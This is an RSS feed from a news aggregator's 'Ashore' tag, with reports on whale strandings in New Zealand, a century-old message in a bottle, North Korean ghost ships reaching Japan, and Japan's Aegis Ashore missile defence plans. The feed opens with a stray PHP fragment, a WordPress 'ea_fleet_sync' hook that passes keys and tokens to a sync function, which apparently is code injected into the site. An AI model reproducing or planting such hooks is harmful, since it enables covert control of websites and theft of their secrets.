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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ashore – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Nov 2018 03:34:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ashore – Brief News https://briefnews.eu 32 32 'Heartbreaking:' 145 pilot whales die after washing ashore on remote NZ beach (VIDEO) https://briefnews.eu/heartbreaking-145-pilot-whales-die-after-washing-ashore-on-remote-nz-beach-video/ https://briefnews.eu/heartbreaking-145-pilot-whales-die-after-washing-ashore-on-remote-nz-beach-video/#respond Mon, 26 Nov 2018 03:34:10 +0000 http://briefnews.eu/heartbreaking-145-pilot-whales-die-after-washing-ashore-on-remote-nz-beach-video/

Two massive pods totaling up to 145 pilot whales beached and died after washing up on an hard-to-reach sandy beach in New Zealand. Half of the stranded mammals died when the help arrived, the rest were put down.

New Zealand’s Department of Conservation (DoC) has released daunting footage showing dozens of pilot whales sprawled helplessly across a serene sandy beach in Mason Bay on the west coast of Stewart Island, NZ, with no help in sight.

The officials said that the pilot whales were first spotted by a hiker on Saturday evening, who reported the discovery to a field base.

Since the beach is isolated, it’s unclear how long the creatures had been stranded before they were discovered. Department official Ren Leppens said that half of the animals were already dead when they were found.

Arriving at the scene, there was not much the conservationists could do, and they were forced to make a tough call.

The whales were in a miserable condition, and there were not enough resources to try and re-float what was left of the two pods, so it was decided to put them down, Leppens said.

“Sadly, the likelihood of being able to successfully re-float the remaining whales was extremely low. The remote location, lack of nearby personnel and the whales’ deteriorating condition meant the most humane thing to do was to euthanize,” she said in a statement, describing the call as “heart-breaking.”

The pods washed ashore some two kilometers [1.2 miles] apart from each other.

A stranded whale is not a rare sight in New Zealand, where some 85 incidents are being reported every year. However, the majority of the reports concern sole whales that are way easier to refloat than pods consisting of dozens of animals, each weighing up to 2,300kg.

Mass strandings are less common but still happen regularly in Australia and New Zealand. Prompt assistance is a crucial factor in saving the beached mammals. In one of the largest whale strandings in decades last February, volunteers working together with officials helped to refloat some 100 whales out of 650 that washed ashore on a South Island beach in New Zealand. Some 350 died, while 200 were able to swim away by themselves.

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Enlarge / The ship on which this message was placed into its bottle. (credit: Deutsches Schiffahrtsmuseum-Unterweser)

A 132-year-old message in a bottle turned up on an Australian beach earlier this year, but it’s not a love note or a treasure map: it’s a science experiment.

Tonya Illman was walking the beach with a friend while they waited for her son’s car to be dug out from the soft sand. That’s when she saw it. “I saw something sticking out of the sand, so I went to take a closer look,” she told the Western Australian Museum. “It just looked like a lovely old bottle, so I picked it up thinking it might look good in my bookcase. My son’s girlfriend was the one who discovered the note when she went to tip the sand out.”

When the Illmans unrolled the damp sheet of paper, they found a printed form, filled out in very faint handwriting—in German.

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]]> https://briefnews.eu/science-in-a-bottle-132-year-old-experiment-washed-ashore-in-australia/feed/ 0 North Korean ‘ghost ships’ full of dead people are still washing ashore in Japan — and it’s a sign of Kim Jong Un losing his grip https://briefnews.eu/north-korean-ghost-ships-full-of-dead-people-are-still-washing-ashore-in-japan-and-its-a-sign-of-kim-jong-un-losing-his-grip/ https://briefnews.eu/north-korean-ghost-ships-full-of-dead-people-are-still-washing-ashore-in-japan-and-its-a-sign-of-kim-jong-un-losing-his-grip/#respond Sat, 27 Jan 2018 11:54:06 +0000 http://briefnews.eu/north-korean-ghost-ships-full-of-dead-people-are-still-washing-ashore-in-japan-and-its-a-sign-of-kim-jong-un-losing-his-grip/ japan ghost shipKyodo via Reuters

  • Boats containing dead bodies from North Korea have continued to show up along Japan’s west coast.
  • North Korea usually tightly controls its borders to prevent defections.
  • This suggests that Kim Jong Un is losing his grip over his country’s border security and his citizens’ economic ventures, experts told BI.

The seemingly endless appearances of “ghost ships” full of dead North Koreans on the shores of Japan is indicative of Kim Jong Un’s weakening grip over his citizens, experts say.

The latest took place last week, when a capsized boat containing the decayed remains of seven bodies washed ashore in Kanazawa, a city on Japan’s west coast.

A badge portraying former North Korean leaders Kim Il Sung and Kim Jong Il was also found nearby.

It was the second such discovery in Japan this month.

The number of ghost ships — vessels discovered with no living crew — reached 104 last year, the highest since authorities started collecting data in 2013, Japan’s Kyodo news agency quoted the national coast guard as saying.

It remains unclear exactly who these people were, or why they showed up in Japan — experts have posited theories including food insecurity in North Korea, annual quotas imposed on fishermen, and a deal for fishing rights between North Korea and China.

A new theory suggested to Business Insider this week is that the increasing arrivals of these boats indicate Kim Jong Un’s weakening grip over his country and its people.

It came from Professor Hazel Smith, a researcher at the School of African and Oriental Studies in London.

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North Korea, notoriously, tightly controls its borders to prevent defections. Soldiers opened fire on one of their own who was caught in the act of defecting to South Korea last November.

The army also plants landmines on various spots around its border — including the west coast — to prevent citizens from leaving and invaders from entering.

Smith, who lived in North Korea from 1998 to 2001, told Business Insider:

“Security is disintegrating. There was always an incentive for people to get hold of a boat to try to fish and come back and sell it and make some money, but security was always extremely tight on the coasts.

“You had mined beaches, you had surveillance on the coast, so the fact that this is happening is not a surprise economically — people are taking the opportunities while they can — but what it shows also is the disintegration of the state’s ability to stop people going out in boats.”

She added that previously, obtaining boats was seen as a highly risky issue, and that only people with high security clearance could access them.

“Going to sea in any way was seen as first and foremost a political issue, not an economic issue, because individuals were so controlled,” she said.

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What’s changed now is the fact that North Korea doesn’t have the “capacity” to control its borders as tightly as before due to other, more pressing concerns — such as the country’s nuclear development and continuous, crippling international sanctions, Smith said.

She said: “They’ve only got the capacity to focus on certain aspects of state activity at a time now. They’re focusing on the nuclear issue, and they don’t have the capacity to focus on every aspect of economic activity, and they don’t have the money to feed people, so they have to let people do their own thing.”

She previously told BI it was “a lot easier” to bypass the country’s security apparatus now than it 20 years ago, because some security officials are willing to turn a blind eye in exchange for profits if someone comes back with a catch.

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The sheer number of the boats appearing in recent years also suggests that people were leaving North Korea as part of small enterprises rather than a monolithic state enterprise, another expert observed.

It points to an opening of the North Korean economy, said Benjamin Katzeff Silberstein, an editor at North Korean Economy Watch.

He told BI: “It may tell us something about the extent to which economic activity has been liberalised, but also put under pressure.

“In other words, companies run with relative freedom by individuals may have increased space to operate, but in some cases, they may also receive quotas to fill by the state or other government entities.

“In the case of the ghost ships, while their circumstances aren’t fully known, the pressure to meet quotas could explain why they need to venture further out into the ocean searching for their catch, perhaps not with adequate fuel resources on board.”

Smith added: “It looks like state priorities over vessels have either broken down or been allowed to lapse in order to permit people to go out and find ways to engage in trade to make a bit of money, which is a change.

“It might not be a major change, but it is a change in the way that the government approaches economic activity. It’s less security-focused.”

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]]> https://briefnews.eu/north-korean-ghost-ships-full-of-dead-people-are-still-washing-ashore-in-japan-and-its-a-sign-of-kim-jong-un-losing-his-grip/feed/ 0 Another North Korean ghost ship, with seven bodies on board, has washed ashore https://briefnews.eu/another-north-korean-ghost-ship-with-seven-bodies-on-board-has-washed-ashore/ https://briefnews.eu/another-north-korean-ghost-ship-with-seven-bodies-on-board-has-washed-ashore/#respond Tue, 16 Jan 2018 07:20:22 +0000 http://briefnews.eu/another-north-korean-ghost-ship-with-seven-bodies-on-board-has-washed-ashore/ japan ghost shipKyodo via Reuters

  • Another “ghost ship”, suspected to be from North Korea, has washed ashore in Japan.
  • The boat contained the remains of seven men, and a North Korean propaganda pin.
  • 2017 saw the most ghost ships to arrive in Japan since data collection began.

A boat that washed ashore in Japan this month appears to be another North Korean ghost ship.

The capsized boat, that had seven bodies on board, washed ashore in the Ishikawa Prefecture, east of Tokyo, last Wednesday. Police announced on Tuesday it had found decayed remains of seven men inside small rooms, according to Kyodo News.

A badge portraying former North Korean leaders Kim Il Sung and Kim Jong Il was also found on the boat.

In 2017, 104 ghost ships washed ashore in Japan, the most since data began being collected in 2013.

Many of the ships have bodies on board. Japan is struggling to deal with the remains of North Korean fisherman, as the two countries don’t have diplomatic relations.

The reason for the large spike in North Korean fishing boats arriving in Japan is unknown, but experts have told Business Insider it could indicate a food shortage in the country.

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]]> https://briefnews.eu/another-north-korean-ghost-ship-with-seven-bodies-on-board-has-washed-ashore/feed/ 0 Japan seeks additional $6.4mn to deploy Aegis Ashore anti-missile systems https://briefnews.eu/japan-seeks-additional-6-4mn-to-deploy-aegis-ashore-anti-missile-systems/ https://briefnews.eu/japan-seeks-additional-6-4mn-to-deploy-aegis-ashore-anti-missile-systems/#respond Mon, 11 Dec 2017 02:51:20 +0000 http://briefnews.eu/japan-seeks-additional-6-4mn-to-deploy-aegis-ashore-anti-missile-systems/

Japan’s defense ministry has requested additional funding to scout potential deployment sites for American-made Aegis Ashore launchers against the backdrop of the growing North Korean missile and nuclear threat.

The ministry has requested an additional 730 million yen ($ 6.4 million) from the next fiscal year’s budget to scout two sites in the Akita and Yamaguchi Prefectures as potential locations to deploy two land-based Aegis anti-missile launchers. The Japanese Cabinet plans to endorse the purchase of the Aegis Ashore system on December 19, a government source told Japan Times.

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North Korean leader Kim Jong-un watches the launch of a ballistic missile on September 16, 2017 © KCNA

“There is a need to strengthen our capability to regularly and sustainably defend all of the country as soon as possible at a time when North Korea is building up its ballistic missile capability,” Defense Minister Itsunori Onodera said in Sendai Sunday, after he announced the request for additional funding.

Tokyo will also allocate 2.1 billion yen ($ 18 million) from the supplementary budget for the current financial year which ends on March 31, 2018, to speed up the deployment of the US-built hardware.

Japan’s defense ministry requested its largest-ever budget in August in the face of increased threats emanating from North Korea and amid Chinese navy activities in the East China Sea, seeking 5.26 trillion yen ($ 47.6 billion) for the 2018 fiscal year.

It includes 10.7 billion yen ($ 97 million) for upgrading the Japan Aerospace Defense Ground Environment system’s capability to detect and respond to ballistic threats with more unpredictable trajectories. Extra funds were also allocated to consider purchasing additional missile defense “assets,” such as Terminal High Altitude Area Defense (THAAD) systems or Aegis Ashore missile-defense system. The potential purchase of American hardware was discussed during Onodera’s visit to Washington in August.

A decision on which missile-defense system to acquire and how much money will be allocated will be made by year’s end, an official told the Japan Times. It is widely expected that Tokyo will settle on the Aegis Ashore systems.

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FILE PHOTO: A Standard Missile 3 (SM-3) is launched from the Japanese AEGIS Destroyer JS Kongo © Reuters

If Tokyo deploys additional US anti-missile hardware, Japan will acquire a three-stage missile interceptor system. The current two-tier system relies on the ship-based Aegis SM-3 interceptors to target missiles in space and land-based PAC-3 batteries to intercept rockets flying closer to the ground.

On November 28, North Korea launched the Hwasong-15 ballistic missile. The projectile flew some 1,000 kilometers eastward, according to the Pentagon, before falling in the Sea of Japan without causing any damage. This was the first missile launch by North Korea in over two months. On September 15, Pyongyang tested the Hwasong-12 missile which flew over Hokkaido, Japan’s second largest island. Earlier on August 29, a Hwasong-12 ballistic missile also passed over Hokkaido airspace.

The deployment of additional missile defense capabilities would unlikely be welcomed by the big regional players, China and Russia. Beijing and Moscow have previously voiced strong objections to the deployment of US anti-missile systems in South Korea. The US and South Korea assurance, that THAAD’s deployment is not aimed against any third countries – be it China or Russia – has long been challenged by Beijing and Moscow, with both asserting that the placement of missile defense systems close to their borders disrupt the regional strategic power balance in the region.

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]]> https://briefnews.eu/japan-seeks-additional-6-4mn-to-deploy-aegis-ashore-anti-missile-systems/feed/ 0 Japan aiming to boost missile defense with US Aegis Ashore system – media https://briefnews.eu/japan-aiming-to-boost-missile-defense-with-us-aegis-ashore-system-media/ https://briefnews.eu/japan-aiming-to-boost-missile-defense-with-us-aegis-ashore-system-media/#respond Thu, 17 Aug 2017 13:34:25 +0000 http://briefnews.eu/japan-aiming-to-boost-missile-defense-with-us-aegis-ashore-system-media/ Japan wants to bolster its missile defense with the US Aegis Ashore system in light of North Korean threats, local media reported. Tokyo also plans to increase its number of Aegis-equipped destroyers.

The Japanese Defense Ministry will include costs related to the Aegis Ashore system when drafting a budgetary request for the 2018 fiscal year, NHK reported. 

The Aegis Ballistic Missile Defense System (ABMD) is aimed at providing defense from short to intermediate-range missiles. It consists of BMD-capable ships as well as a ground-based configuration.

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The 105-storey Ryugyong Hotel, the highest building under construction in North Korea, is seen in Pyongyang © Bobby Yip

Japan is already using a land-based version of the Aegis advanced radar system. It is thought that two or three Aegis Ashore batteries would be needed to defend the whole of Japan, at a cost of 70 to 80 billion yen (US$ 638.5 million to $ 726.6 million) per battery, according to the Mainichi.

Defense Minister Itsunori Onodera is expected to explain Tokyo’s plans during talks with US Defense Secretary Jim Mattis in Washington on Thursday, government sources told the Asahi Shimbun. 

That meeting will follow talks between US Secretary of State Rex Tillerson and his Japanese counterpart, Taro Kono.

Meanwhile, the Japanese Defense Ministry also hopes to increase its number of Aegis-equipped destroyers from four to five by the end of the year, accelerating a previous plan which aimed to boost the number by March 2018, according to NHK.

In addition, the Defense Ministry has also decided to develop an anti-stealth radar system which could locate ballistic missiles with stealth capabilities. Work on the system will begin next fiscal year, with an expected budget request of 19.6 billion yen ($ 177 million), according to the Asahi Shimbun. 

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The reported plans come after Japanese Defense Ministry officials told Kyodo news last week that Tokyo was considering the deployment of the Patriot Advanced Capability-3 (PAC-3) system at ground Self-Defense Force bases in the western prefectures of Shimane, Hiroshima and Kochi – areas which North Korea said its missiles could fly over. 

Japan’s missile defense program currently includes the Maritime Self-Defense Force’s (SDF) Aegis destroyers, aimed at shooting down airborne missiles, and the Air Self-Defense Force’s PAC-3 system, which is aimed at countering missiles that evade Aegis interceptors.

North Korea has conducted several missile tests in recent months, which have been slammed by the US. Pyongyang strengthened its verbal threats against Washington last week, when it announced that it was developing a plan to strike Guam, which would include missiles passing over Japanese prefectures.

The threat came just hours after US President Donald Trump warned Pyongyang of “fire and fury” if its threats continued. Following the Guam threat, Trump tweeted that US military solutions were “locked and loaded.”

Pyongyang later clarified that it is ready to put off its Guam plan, while urging Washington to refrain from threats against North Korea. Trump praised the move as a “wise” decision on Wednesday. 

Meanwhile, Japan has been repeatedly flexing its muscles with the US, including in joint air maneuvers southwest of the Korean Peninsula on Wednesday. In addition, annual US-Japan military drills are scheduled to take place next week, according to Reuters.

North Korea has slammed Washington and its regional allies over the numerous drills, claiming such actions could provoke “actual war.”

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]]> https://briefnews.eu/japan-aiming-to-boost-missile-defense-with-us-aegis-ashore-system-media/feed/ 0 Beached Whale Situation Gets Worse With Hundreds More Stranded Ashore https://briefnews.eu/beached-whale-situation-gets-worse-with-hundreds-more-stranded-ashore/ https://briefnews.eu/beached-whale-situation-gets-worse-with-hundreds-more-stranded-ashore/#respond Sun, 12 Feb 2017 01:10:47 +0000 http://briefnews.eu/beached-whale-situation-gets-worse-with-hundreds-more-stranded-ashore/

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Early on Saturday, dozens of volunteers worked to refloat about 100 of the 40o whales that mysteriously beached themselves in New Zealand. But their rescue effort quickly escalated when 240 more were stranded. It’s all the more frustrating that no one is certain why this is happening.

On Thursday, more than 400 pilot whales were discovered at Farewell Spit in Golden Bay. Between 250 and 300 of them had already died by the time New Zealand’s Department of Conservation arrived. Rescuers worked to keep the whales cool with wet towels and when the tide was high, they pushed about 100 back out to sea.

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Horrifyingly, a fresh wave of whales made their way to the beach and rescuers formed a human chain in a futile attempt to block them.

Prevalent theories for the cause of this disaster include shallow waters disrupting the whale’s echolocation and the fact that these mammals are extremely social. When a member of the pod is stranded and sends a distress signal it’s not unusual for other pod-mates to end up beached as well.

Another theory is that the initial bunch was fleeing a shark attack because bite marks were found on at least one of the dead whales. The hundreds of newly beached whales may still be trying to help their fallen friends.

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The first wave of 400 whales marked this as the largest mass stranding of whales since 1985 when 450 were beached at Great Barrier Island.

Farewell Spit in New Zealand. (Image: NASA)

This sort of occurrence isn’t unheard of at Farewell Spit. Last year 200 whales stranded themselves on its beach. “It’s a very difficult place if you get lost in there and you are a whale,” Herb Christophers of New Zealand’s department of conservation told the BBC.

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Now, the dedicated folks who are trying to help must do their best to keep the whales alive while they wait for the high tide that will come in on Sunday. And there is still the problem of cleaning up all of those carcasses of the deceased which can’t just be pushed out to sea due to fears they’ll become bloated and wash up on public beaches.

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